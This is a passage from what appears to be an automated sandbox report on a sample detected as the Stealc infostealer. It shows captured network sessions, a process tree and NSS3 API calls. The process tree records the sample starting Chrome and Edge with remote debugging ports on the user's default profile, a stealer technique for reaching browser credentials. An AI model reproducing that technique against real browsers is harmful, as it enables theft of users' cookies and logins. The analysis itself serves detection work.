?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	49921	13.107.246.57	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:46 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 00:18:46 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:46 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: d414cbbc-701e-0005-7e90-289c78000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241031T001846Z-16849878b78xblwksrnkakc08w00000007z000000000kckw Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:46 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:46 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:47 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:46 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 7b68ac53-d01e-0082-7e67-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001846Z-16849878b787bfsh7zgp804my400000007ng000000002xrm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:47 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:46 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:47 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:46 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001846Z-16849878b78km6fmmkbenhx76n000000086g0000000025r4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:47 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:46 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:47 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:46 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 141f8a5a-601e-000d-3b74-272618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001846Z-16849878b78z2wx67pvzz63kdg00000007b000000000hpuq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:47 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	49922	20.96.153.111	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:46 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=29FAFED0AE7460922E52EBF9AFD56107&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=c2ce695d8d844110f2f57d62eda5549b HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=29FAFED0AE7460922E52EBF9AFD56107; _EDGE_S=F=1&SID=1B36F6824F29691A04B5E3AB4ECD6890; _EDGE_V=1
2024-10-31 00:18:47 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2690 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132543-T700343875-C128000000002115849+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002115849+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 31 Oct 2024 00:18:46 GMT Connection: close
2024-10-31 00:18:47 UTC	2690	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 50 61 74 61 67 6f 6e 69 61 2c 20 41 72 67 65 6e 74 69 6e 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 41 72 67 65 6e 74 69 6e 6f 2b Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Patagonia, Argentina\",\"cta\":\"https:\/\/www.bing.com\/search?q=Argentino+

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:46 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:47 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:47 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 80bd6f28-d01e-002b-3d65-2725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001847Z-17c5cb586f6fqqst87nqkbsx1c000000077g00000000dn5s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:47 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49932	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:46 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:47 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:47 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001847Z-15b8d89586flspj6y6m5fk442w0000000et0000000004wcd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:47 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Target ID:	0
Start time:	20:18:12
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa30000
File size:	2'086'912 bytes
MD5 hash:	099D997BEF4D9CC5BDD88ED65AF37B16
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2156925914.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2612006536.0000000000A31000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2613572766.000000000119E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:18:19
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:18:20
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2644 --field-trial-handle=2528,i,17589902044594162779,8070341503384849355,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:18:33
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:18:34
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2744 --field-trial-handle=2476,i,630304271105429784,4614235616134142907,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:18:34
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:18:34
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2872 --field-trial-handle=2552,i,525046915237126550,6061750762854327539,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	20:18:38
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6824 --field-trial-handle=2552,i,525046915237126550,6061750762854327539,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	20:18:38
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6960 --field-trial-handle=2552,i,525046915237126550,6061750762854327539,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	20:19:34
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7208 --field-trial-handle=2552,i,525046915237126550,6061750762854327539,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Function 6C736E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C882120,6C737E60), ref: 6C736EBC
TlsGetValue.KERNEL32 ref: 6C736EDF
EnterCriticalSection.KERNEL32(?), ref: 6C736EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C736F25

Part of subcall function 6C70A900: TlsGetValue.KERNEL32(00000000,?,6C8814E4,?,6C6A4DD9), ref: 6C70A90F
Part of subcall function 6C70A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C70A94F

PR_Unlock.NSS3 ref: 6C736F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C736FA9
TlsGetValue.KERNEL32 ref: 6C7370B4
EnterCriticalSection.KERNEL32(?), ref: 6C7370C8
PR_CallOnce.NSS3(6C8824C0,6C777590), ref: 6C737104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C737117
SECOID_Init.NSS3 ref: 6C737128
PORT_Alloc_Util.NSS3(00000057), ref: 6C73714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C73717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7371A9
PR_NotifyAllCondVar.NSS3 ref: 6C7371CF
PR_Unlock.NSS3 ref: 6C7371DD
free.MOZGLUE(?), ref: 6C7371EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C737208
free.MOZGLUE(00000000), ref: 6C737221
free.MOZGLUE(00000001), ref: 6C737235
TlsGetValue.KERNEL32 ref: 6C73724A
EnterCriticalSection.KERNEL32(?), ref: 6C73725E
PR_NotifyCondVar.NSS3 ref: 6C737273
PR_Unlock.NSS3 ref: 6C737281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C737291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7372B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7372D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7372E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C737301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C737310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C737335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C737344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C737363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C737372
